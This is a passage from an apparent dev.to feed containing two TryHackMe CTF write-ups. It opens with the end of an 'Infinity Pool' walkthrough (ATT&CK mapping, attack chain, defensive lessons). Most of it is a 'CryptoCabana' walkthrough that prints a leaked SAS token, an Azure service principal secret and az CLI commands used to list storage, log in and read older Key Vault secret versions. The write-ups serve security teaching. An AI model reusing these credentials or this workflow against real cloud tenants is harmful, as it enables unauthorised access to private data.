&lt;p&gt;The second executed as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vulnerability class was almost identical.&lt;/p&gt;

&lt;p&gt;The impact was completely different because of the service's privileges.&lt;/p&gt;




&lt;h1&gt;
  
  
  29. MITRE ATT&amp;amp;CK Perspective
&lt;/h1&gt;

&lt;p&gt;The attack chain can also be loosely mapped to common adversary techniques:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Activity&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Web reconnaissance&lt;/td&gt;
&lt;td&gt;Network / service discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Endpoint discovery&lt;/td&gt;
&lt;td&gt;Application reconnaissance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command injection&lt;/td&gt;
&lt;td&gt;Command and scripting interpreter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reverse shell&lt;/td&gt;
&lt;td&gt;Command and control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process enumeration&lt;/td&gt;
&lt;td&gt;Process discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Listening-port enumeration&lt;/td&gt;
&lt;td&gt;Network service discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential disclosure&lt;/td&gt;
&lt;td&gt;Unsecured credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH tunneling&lt;/td&gt;
&lt;td&gt;Proxy / tunneling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token abuse&lt;/td&gt;
&lt;td&gt;Valid authentication material&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root execution&lt;/td&gt;
&lt;td&gt;Privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Thinking in terms of attack techniques rather than individual commands helps build transferable cybersecurity knowledge.&lt;/p&gt;




&lt;h1&gt;
  
  
  30. Final Attack Path
&lt;/h1&gt;

&lt;p&gt;The shortest representation of the solution is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap
  ↓
robots.txt
  ↓
/status
  ↓
JavaScript reveals /internal/netcheck
  ↓
Command injection
  ↓
Shell as web
  ↓
Internal service enumeration
  ↓
Watchtower /api/config
  ↓
UCP credentials
  ↓
SSH tunnel → localhost:8080
  ↓
FreePBX UCP
  ↓
Voicemail leaks automation token
  ↓
Authenticated request to localhost:9000
  ↓
Second command injection
  ↓
ROOT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Infinity Pool&lt;/strong&gt; is an excellent example of why penetration testing is fundamentally about &lt;strong&gt;connecting pieces of information&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The initial command injection did not immediately give us root.&lt;/p&gt;

&lt;p&gt;Instead, we had to investigate the environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Find hidden functionality
      ↓
Exploit weak input handling
      ↓
Enumerate internal services
      ↓
Discover leaked credentials
      ↓
Pivot into another application
      ↓
Recover an authentication token
      ↓
Exploit a privileged backend
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each mistake on its own might have appeared relatively small.&lt;/p&gt;

&lt;p&gt;Together, they created a complete compromise.&lt;/p&gt;

&lt;p&gt;The biggest lesson from the challenge is simple:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Security failures compound.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A forgotten developer comment, an internal credential leak, a poorly protected token, an unsafe shell command, and an unnecessarily privileged service can transform a small foothold into total system compromise.&lt;/p&gt;

&lt;p&gt;From a defensive perspective, the solution is equally clear:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Validate all untrusted input.&lt;/li&gt;
&lt;li&gt;Avoid shell command construction.&lt;/li&gt;
&lt;li&gt;Protect internal services.&lt;/li&gt;
&lt;li&gt;Remove hardcoded and leaked secrets.&lt;/li&gt;
&lt;li&gt;Rotate default credentials.&lt;/li&gt;
&lt;li&gt;Treat authentication tokens as sensitive secrets.&lt;/li&gt;
&lt;li&gt;Apply least privilege everywhere.&lt;/li&gt;
&lt;li&gt;Assume an attacker will eventually reach internal components.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding how these weaknesses connect is what turns individual vulnerability knowledge into real penetration-testing methodology.&lt;/p&gt;




&lt;h2&gt;
  
  
  Challenge Status
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[✓] Reconnaissance
[✓] Hidden endpoint discovery
[✓] Command injection
[✓] Initial foothold
[✓] User flag
[✓] Internal enumeration
[✓] Credential discovery
[✓] Internal application pivoting
[✓] Authentication token discovery
[✓] Privilege escalation
[✓] Root flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Tags
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;#cybersecurity&lt;/code&gt; &lt;code&gt;#tryhackme&lt;/code&gt; &lt;code&gt;#ctf&lt;/code&gt; &lt;code&gt;#pentesting&lt;/code&gt; &lt;code&gt;#linux&lt;/code&gt; &lt;code&gt;#websecurity&lt;/code&gt; &lt;code&gt;#ethicalhacking&lt;/code&gt; &lt;code&gt;#infosec&lt;/code&gt;&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;If you're learning penetration testing, don't focus only on memorizing payloads. Focus on understanding &lt;strong&gt;why each step works&lt;/strong&gt;, what information it reveals, and how that information creates the next step in the attack chain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Happy hacking — responsibly. 🔐&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>security</category>
    </item>
    <item>
      <title>TryHackMe Hacker Holidays: CryptoCabana – Complete Writeup</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Tue, 04 Aug 2026 18:47:30 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/tryhackme-hacker-holidays-cryptocabana-complete-writeup-5c0c</link>
      <guid>https://dev.to/ibrahim71reza/tryhackme-hacker-holidays-cryptocabana-complete-writeup-5c0c</guid>
      <description>&lt;p&gt;Welcome to this walkthrough of the &lt;strong&gt;CryptoCabana&lt;/strong&gt; challenge from the TryHackMe Hacker Holidays.&lt;/p&gt;

&lt;p&gt;This challenge is a beautiful tour of Azure misconfigurations, secret management, and the power of versioning.&lt;br&gt;&lt;br&gt;
By the end of this write-up, you’ll understand exactly how a harmless-looking “backup your seed phrase” page can leak an entire infrastructure.&lt;/p&gt;


&lt;h2&gt;
  
  
  🧭 Challenge Scenario
&lt;/h2&gt;

&lt;p&gt;You are given a static website hosted on Azure Storage (a.k.a. “static website” feature).&lt;br&gt;&lt;br&gt;
The page looks like a beach cabana kiosk where you can paste a seed phrase and “back it up” to a private vault.&lt;br&gt;&lt;br&gt;
The promise: &lt;em&gt;“Backed up. Sleep easy.”&lt;/em&gt; – but as we’ll see, nothing here is as safe as it seems.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;Your mission:&lt;/strong&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Find out what the kiosk is quietly trusting to reach into storage on its own.
&lt;/li&gt;
&lt;li&gt;See how far that trust actually extends.
&lt;/li&gt;
&lt;li&gt;Retrieve a hidden flag that is split across multiple secrets.&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  🔍 Reconnaissance – The Website
&lt;/h2&gt;

&lt;p&gt;We start with the target URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://cryptocabanaf5scjagc.z13.web.core.windows.net/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Visiting it in a browser shows a clean HTML page with a text area and a “Back it up” button.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Always view the page source and any linked JavaScript.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Inspecting &lt;code&gt;index.html&lt;/code&gt; and &lt;code&gt;app.js&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The page loads a script called &lt;code&gt;app.js&lt;/code&gt;. We can fetch it with &lt;code&gt;curl&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;STORAGE_ACCOUNT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cryptocabanaf5scjagc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BACKUPS_CONTAINER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;backups&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;BACKUP_SAS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;strong&gt;What we immediately learn:&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The storage account name: &lt;code&gt;cryptocabanaf5scjagc&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The container used for backups: &lt;code&gt;backups&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Shared Access Signature (SAS) token&lt;/strong&gt; with permissions: &lt;code&gt;sp=rl&lt;/code&gt; → &lt;strong&gt;read&lt;/strong&gt; and &lt;strong&gt;list&lt;/strong&gt; permissions on blobs. The token is valid for a very long time (until 2099).&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important insight:&lt;/strong&gt; The SAS token is embedded right in the client‑side code. Anyone who visits the page gets it. This is a critical misconfiguration – it allows anyone with that token to list and read all blobs in the &lt;code&gt;backups&lt;/code&gt; container (and possibly others if the token is scoped to the account level). Here, &lt;code&gt;srt=sco&lt;/code&gt; means the token applies to the storage account, container, and objects – so it works on any container.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🗂️ Exploring Storage with the SAS Token
&lt;/h2&gt;

&lt;p&gt;Now we have a powerful token. We can use it with the Azure CLI or directly with &lt;code&gt;curl&lt;/code&gt; to interact with the storage account.&lt;/p&gt;

&lt;h3&gt;
  
  
  List All Containers
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;BACKUP_SAS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"&lt;/span&gt;
az storage container list &lt;span class="nt"&gt;--account-name&lt;/span&gt; cryptocabanaf5scjagc &lt;span class="nt"&gt;--sas-token&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_SAS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Lease Status&lt;/th&gt;
&lt;th&gt;Last Modified&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$web&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2026-07-16T18:26:22+00:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;backups&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2026-07-16T18:26:22+00:00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;vault&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2026-07-16T18:26:23+00:00&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;We see three containers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;$web&lt;/code&gt; – stores the static website files (we already knew about &lt;code&gt;index.html&lt;/code&gt; and &lt;code&gt;app.js&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;backups&lt;/code&gt; – the container used by the kiosk’s backup function.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vault&lt;/code&gt; – &lt;strong&gt;interesting!&lt;/strong&gt; This is not referenced anywhere in the JavaScript. It’s a hidden container.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  List Blobs in &lt;code&gt;vault&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az storage blob list &lt;span class="nt"&gt;--account-name&lt;/span&gt; cryptocabanaf5scjagc &lt;span class="nt"&gt;--container-name&lt;/span&gt; vault &lt;span class="nt"&gt;--sas-token&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_SAS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Blob Type&lt;/th&gt;
&lt;th&gt;Length&lt;/th&gt;
&lt;th&gt;Content Type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;backup-service-account.json&lt;/td&gt;
&lt;td&gt;BlockBlob&lt;/td&gt;
&lt;td&gt;360&lt;/td&gt;
&lt;td&gt;application/json&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;seed_phrase.txt&lt;/td&gt;
&lt;td&gt;BlockBlob&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;application/octet-stream&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;We also check &lt;code&gt;backups&lt;/code&gt; but it appears empty (probably no one used the backup function). The &lt;code&gt;vault&lt;/code&gt; container contains two files that sound promising.&lt;/p&gt;

&lt;h3&gt;
  
  
  Download the Files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az storage blob download &lt;span class="nt"&gt;--account-name&lt;/span&gt; cryptocabanaf5scjagc &lt;span class="nt"&gt;--container-name&lt;/span&gt; vault &lt;span class="nt"&gt;--name&lt;/span&gt; backup-service-account.json &lt;span class="nt"&gt;--file&lt;/span&gt; backup-service-account.json &lt;span class="nt"&gt;--sas-token&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_SAS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
az storage blob download &lt;span class="nt"&gt;--account-name&lt;/span&gt; cryptocabanaf5scjagc &lt;span class="nt"&gt;--container-name&lt;/span&gt; vault &lt;span class="nt"&gt;--name&lt;/span&gt; seed_phrase.txt &lt;span class="nt"&gt;--file&lt;/span&gt; seed_phrase.txt &lt;span class="nt"&gt;--sas-token&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BACKUP_SAS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🔑 Extracting Service Principal Credentials
&lt;/h2&gt;

&lt;p&gt;Open &lt;code&gt;backup-service-account.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"dbcf2923-e4eb-4b72-a0a4-688aa1185cf5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"client_secret"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"key_vault_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"ccabana-kv-f5scjagc"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"key_vault_uri"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https://ccabana-kv-f5scjagc.vault.azure.net/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tenant_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jackpot! This file contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A service principal &lt;code&gt;client_id&lt;/code&gt; and &lt;code&gt;client_secret&lt;/code&gt; – credentials that can be used to authenticate as an Azure Active Directory application.&lt;/li&gt;
&lt;li&gt;The name and URI of a Key Vault: &lt;code&gt;ccabana-kv-f5scjagc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The tenant ID (same as the challenge tenant).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Meanwhile, &lt;code&gt;seed_phrase.txt&lt;/code&gt; just contains some garbage text (likely a decoy).&lt;/p&gt;




&lt;h2&gt;
  
  
  🔐 Authenticating as the Service Principal
&lt;/h2&gt;

&lt;p&gt;The service principal likely has permissions to read secrets from the Key Vault. We log in with &lt;code&gt;az login&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az login &lt;span class="nt"&gt;--service-principal&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg'&lt;/span&gt; &lt;span class="nt"&gt;--tenant&lt;/span&gt; 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The CLI confirms we are now authenticated as that service principal.&lt;/p&gt;




&lt;h2&gt;
  
  
  🗝️ Exploring the Key Vault
&lt;/h2&gt;

&lt;p&gt;Now we can list secrets in the vault:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret list &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--output&lt;/span&gt; table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Secrets found:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Enabled&lt;/th&gt;
&lt;th&gt;Expires&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;key-shard-1&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;key-shard-2&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;key-shard-3&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;master-key&lt;/td&gt;
&lt;td&gt;True&lt;/td&gt;
&lt;td&gt;2020-01-01&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;We have three shards and a master key. The challenge hints: &lt;em&gt;“a vault that won't give up the real values on the first ask”&lt;/em&gt; and &lt;em&gt;“if a value looks freshly rotated, ask yourself what it looked like five minutes before that”&lt;/em&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔄 Checking Secret Versions
&lt;/h2&gt;

&lt;p&gt;Key Vault secrets can have multiple versions. The latest version may be a red herring. We need to look at older versions.&lt;/p&gt;

&lt;p&gt;List versions of &lt;code&gt;key-shard-2&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret list-versions &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-2 &lt;span class="nt"&gt;--output&lt;/span&gt; json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We see two versions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Older version&lt;/strong&gt; (created at &lt;code&gt;2026-07-28T01:05:05&lt;/code&gt;) – ID ends with &lt;code&gt;3d6492...&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Newer version&lt;/strong&gt; (created at &lt;code&gt;2026-07-28T01:05:07&lt;/code&gt;) – ID ends with &lt;code&gt;c922c4...&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The newer version is only &lt;strong&gt;two seconds&lt;/strong&gt; newer – that is indeed “freshly rotated”. Let’s retrieve both.&lt;/p&gt;

&lt;h3&gt;
  
  
  Newer version (the decoy):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-2 &lt;span class="nt"&gt;--version&lt;/span&gt; c922c422ffb34671a902389c372314f1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Value:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;"Rotated this after IT flagged it -- old value should still be recoverable if you know where to look."&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A clear hint to check the older version.&lt;/p&gt;

&lt;h3&gt;
  
  
  Older version (the real one):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-2 &lt;span class="nt"&gt;--version&lt;/span&gt; 3d6492d2c6f74123bc754a9ded22b2a0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Value:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;_k3ys_***_&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we have the middle piece of the flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  🧩 Retrieving the Other Shards
&lt;/h2&gt;

&lt;p&gt;We also retrieve &lt;code&gt;key-shard-1&lt;/code&gt; and &lt;code&gt;key-shard-3&lt;/code&gt; (they only have one version each – no rotation, so the current value is the real one).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-1
az keyvault secret show &lt;span class="nt"&gt;--vault-name&lt;/span&gt; ccabana-kv-f5scjagc &lt;span class="nt"&gt;--name&lt;/span&gt; key-shard-3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Values:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;key-shard-1&lt;/code&gt;: &lt;code&gt;THM{n0t_ur&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;key-shard-3&lt;/code&gt;: &lt;code&gt;**_******}&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We didn’t need &lt;code&gt;master-key&lt;/code&gt; – it was probably locked down anyway (the service principal lacked &lt;code&gt;getSecret&lt;/code&gt; permission on it, as we saw a “Forbidden” error when we tried).&lt;/p&gt;




&lt;h2&gt;
  
  
  🏁 Assembling the Flag
&lt;/h2&gt;

&lt;p&gt;Combine in order:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;THM{n0t_ur&lt;/code&gt; + &lt;code&gt;_k3ys_***_&lt;/code&gt; + &lt;code&gt;**_******}&lt;/code&gt; = &lt;strong&gt;`THM{n0t_ur_k3ys_&lt;/strong&gt;&lt;em&gt;_&lt;/em&gt;&lt;em&gt;_&lt;/em&gt;**&lt;em&gt;**}`&lt;/em&gt;*&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  📝 Key Lessons
